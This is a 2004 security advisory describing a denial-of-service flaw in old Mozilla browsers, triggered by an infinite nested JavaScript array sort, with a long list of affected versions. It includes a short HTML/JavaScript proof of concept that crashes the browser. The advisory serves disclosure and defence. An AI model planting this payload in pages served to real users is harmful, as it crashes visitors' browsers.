Mozilla Browser Infinite Array Sort Denial Of Service Vulnerability

Bugtraq ID:	11760
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 25 2004 12:00AM
Updated:	Nov 25 2004 12:00AM
Credit:	Discovery of the original issue is credited to Berend-Jan Wever. Marco Mella is credited with the discovery of the issue in the Mozilla browser.
Vulnerable:	Mozilla Browser 1.8 Alpha 4 Mozilla Browser 1.8 Alpha 3 Mozilla Browser 1.8 Alpha 2 Mozilla Browser 1.8 Alpha 1 Mozilla Browser 1.7.3 + HP HP-UX B.11.23 + HP HP-UX B.11.22 + HP HP-UX B.11.22 + HP HP-UX B.11.11 + HP HP-UX B.11.11 + HP HP-UX B.11.11 + HP HP-UX B.11.11 + HP HP-UX B.11.00 + HP HP-UX B.11.00 + HP Tru64 5.1 B-2 PK4 (BL25) + HP Tru64 5.1 B-2 PK4 (BL25) + HP Tru64 5.1 B-2 PK4 + HP Tru64 5.1 B-2 PK4 + HP Tru64 5.1 B PK4 + HP Tru64 5.1 B PK4 + HP Tru64 5.1 A PK6 (BL24) + HP Tru64 5.1 A PK6 (BL24) + HP Tru64 5.1 A PK6 + HP Tru64 5.1 A PK6 Mozilla Browser 1.7.2 Mozilla Browser 1.7.1 Mozilla Browser 1.7 rc3 Mozilla Browser 1.7 rc2 Mozilla Browser 1.7 rc1 Mozilla Browser 1.7 beta Mozilla Browser 1.7 alpha Mozilla Browser 1.7 Mozilla Browser 1.6 Mozilla Browser 1.5.1 Mozilla Browser 1.5 Mozilla Browser 1.4.2 Mozilla Browser 1.4.1 Mozilla Browser 1.4 b Mozilla Browser 1.4 a Mozilla Browser 1.4 + Mandriva Linux Mandrake 9.2 amd64 + Mandriva Linux Mandrake 9.2 Mozilla Browser 1.3.1 Mozilla Browser 1.3 Mozilla Browser 1.2.1 Mozilla Browser 1.2 Beta Mozilla Browser 1.2 Alpha Mozilla Browser 1.2 Mozilla Browser 1.1 Beta Mozilla Browser 1.1 Alpha Mozilla Browser 1.1 Mozilla Browser 1.0.2 + Redhat Advanced Workstation for the Itanium Processor 2.1 + Redhat Advanced Workstation for the Itanium Processor 2.1 + Redhat Enterprise Linux AS 2.1 IA64 + Redhat Enterprise Linux AS 2.1 IA64 + Redhat Enterprise Linux AS 2.1 + Redhat Enterprise Linux AS 2.1 + Redhat Enterprise Linux ES 2.1 IA64 + Redhat Enterprise Linux ES 2.1 IA64 + Redhat Enterprise Linux ES 2.1 + Redhat Enterprise Linux ES 2.1 + Redhat Enterprise Linux WS 2.1 IA64 + Redhat Enterprise Linux WS 2.1 IA64 + Redhat Enterprise Linux WS 2.1 + Redhat Enterprise Linux WS 2.1 + Sun Linux 5.0.7 Mozilla Browser 1.0.1 Mozilla Browser 1.0 RC2 Mozilla Browser 1.0 RC1 - FreeBSD FreeBSD 4.5 - FreeBSD FreeBSD 4.4 - FreeBSD FreeBSD 4.3 - FreeBSD FreeBSD 4.2 - FreeBSD FreeBSD 4.1.1 Mozilla Browser 1.0 + Mandriva Linux Mandrake 8.2 ppc + Mandriva Linux Mandrake 8.2 + Redhat Linux 8.0 i386 + Redhat Linux 8.0 Mozilla Browser 0.9.48 Mozilla Browser 0.9.35 Mozilla Browser 0.9.9 - FreeBSD FreeBSD 4.5 - FreeBSD FreeBSD 4.4 - FreeBSD FreeBSD 4.3 - FreeBSD FreeBSD 4.2 - FreeBSD FreeBSD 4.1.1 + Redhat Linux 7.3 i386 + Redhat Linux 7.3 + Redhat Linux 7.2 i686 + Redhat Linux 7.2 i586 + Redhat Linux 7.2 i386 + Redhat Linux 7.2 Mozilla Browser 0.9.8 - Apple Mac OS 9 9.2.2 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0 - Apple Mac OS 9 9.0 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.1 - Apple Mac OS X 10.1.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0 - Apple Mac OS X 10.0 - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 - Microsoft Windows XP 0 Mozilla Browser 0.9.7 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0 - Apple Mac OS 9 9.0 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.1 - Apple Mac OS X 10.1.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0 - Apple Mac OS X 10.0 - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 - Microsoft Windows XP 0 Mozilla Browser 0.9.6 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.0 - Apple Mac OS 9 9.0 - Be BeOS 5.0 - Be BeOS 5.0 - BSDI BSD/OS 4.2 - BSDI BSD/OS 4.2 - Compaq OpenVMS 7.3 Alpha - Compaq OpenVMS 7.3 Alpha - Compaq OpenVMS 7.2 -2 Alpha - Compaq OpenVMS 7.2 -2 Alpha - Compaq OpenVMS 7.1 -2 Alpha - FreeBSD FreeBSD 4.0 - FreeBSD FreeBSD 4.0 - IBM AIX 4.3.3 - IBM AIX 4.3.3 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 - Redhat Linux 7.0 sparc - Redhat Linux 7.0 sparc - Redhat Linux 7.0 i386 - Redhat Linux 7.0 i386 - Redhat Linux 7.0 alpha - Redhat Linux 7.0 alpha - Redhat Linux 6.0 sparc - Redhat Linux 6.0 sparc - Redhat Linux 6.0 alpha - Redhat Linux 6.0 alpha - Redhat Linux 6.0 - Redhat Linux 6.0 - SGI IRIX 6.5 - SGI IRIX 6.5 - Sun Solaris 2.8 - Sun Solaris 2.8 - Sun Solaris 2.7 - Sun Solaris 2.7 Mozilla Browser 0.9.5 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0 - Apple Mac OS 9 9.0 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0 - Apple Mac OS X 10.0 - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 - Microsoft Windows XP 0 Mozilla Browser 0.9.4 .1 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0 - Apple Mac OS 9 9.0 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0 - Apple Mac OS X 10.0 - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 - Microsoft Windows XP 0 Mozilla Browser 0.9.4 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0 - Apple Mac OS 9 9.0 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.1 - Apple Mac OS X 10.1.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0 - Apple Mac OS X 10.0 - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 - Microsoft Windows XP 0 Mozilla Browser 0.9.3 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0 - Apple Mac OS 9 9.0 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0 - Apple Mac OS X 10.0 - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 - Microsoft Windows XP 0 Mozilla Browser 0.9.2 .1 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0 - Apple Mac OS 9 9.0 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0 - Apple Mac OS X 10.0 - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 - Microsoft Windows XP 0 Mozilla Browser 0.9.2 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2.1 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.2 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.1 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0.4 - Apple Mac OS 9 9.0 - Apple Mac OS 9 9.0 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.2 - Apple Mac OS X 10.1.1 - Apple Mac OS X 10.1.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.1 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.4 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.3 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.2 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0.1 - Apple Mac OS X 10.0 - Apple Mac OS X 10.0 - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 - Microsoft Windows XP 0 Mozilla Browser 0.8 + Mandriva Linux Mandrake 8.0 ppc + Mandriva Linux Mandrake 8.0 Mozilla Browser M16 Mozilla Browser M15
Not Vulnerable:

Mozilla Browser Infinite Array Sort Denial Of Service Vulnerability

Mozilla Browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.

Mozilla Browser Infinite Array Sort Denial Of Service Vulnerability

The following example will cause the browser to crash:

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>

Mozilla Browser Infinite Array Sort Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Mozilla Browser Infinite Array Sort Denial Of Service Vulnerability

References:

• Mozilla Homepage (Mozilla Foundation)
  
• FIREFOX flaws: nested array sort() loop Stack overflow exception ("Berend-Jan Wever" )